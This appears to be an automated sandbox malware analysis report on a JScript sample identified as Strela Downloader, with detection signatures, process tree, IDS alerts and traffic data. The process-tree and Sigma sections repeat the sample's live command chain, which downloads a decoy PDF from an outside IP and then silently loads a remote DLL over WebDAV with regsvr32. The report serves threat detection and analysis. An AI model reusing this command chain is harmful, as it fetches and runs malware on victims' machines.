Edit tour

Windows Analysis Report
3107622714995924320.js

Overview

General Information

Sample name:	3107622714995924320.js
Analysis ID:	1588915
MD5:	f5c7fe2341ed53b4aab150272c3af818
SHA1:	59ba182dc68c78acfc1f5a0758a524f94e390d96
SHA256:	35750c1952647dc735cb6845f275908dccef79669f6efb43a287ef357eb8b622
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7464 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3107622714995924320.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7552 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\276241076231720.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7560 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7604 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7812 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 8028 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7252 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2104 --field-trial-handle=1360,i,4133838475266687135,6484250836128223451,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7828 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 7928 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 8092 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7464	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\276241076231720.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7552, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7604, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\276241076231720.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7552, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7604, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3107622714995924320.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3107622714995924320.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3107622714995924320.js", ProcessId: 7464, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 7928, Protocol: tcp, SourceIp: 192.168.2.8, SourceIsIpv6: false, SourcePort: 49707

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\276241076231720.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\276241076231720.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3107622714995924320.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7464, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\276241076231720.dll, ProcessId: 7552, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\276241076231720.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\276241076231720.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3107622714995924320.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7464, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\276241076231720.dll, ProcessId: 7552, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\276241076231720.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\276241076231720.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3107622714995924320.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7464, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\276241076231720.dll, ProcessId: 7552, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\276241076231720.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\276241076231720.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3107622714995924320.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7464, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\276241076231720.dll, ProcessId: 7552, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\276241076231720.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\276241076231720.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3107622714995924320.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7464, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\276241076231720.dll, ProcessId: 7552, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3107622714995924320.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3107622714995924320.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3107622714995924320.js", ProcessId: 7464, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\276241076231720.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7552, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7604, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7828, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7928, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 8092, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7828, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7928, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\276241076231720.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\276241076231720.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3107622714995924320.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7464, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\276241076231720.dll, ProcessId: 7552, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T07:05:34.385492+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.8	49706	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T07:05:36.997999+0100	1810005	1	Potentially Bad Traffic	192.168.2.8	49707	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T07:05:34.385492+0100	1810000	2	Potentially Bad Traffic	192.168.2.8	49706	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 3107622714995924320.js

Virustotal: Detection: 10%

Perma Link

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 3107622714995924320.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 3107622714995924320.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.8:49706 -> 193.143.1.205:80
Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.8:49707 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 06:05:34 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

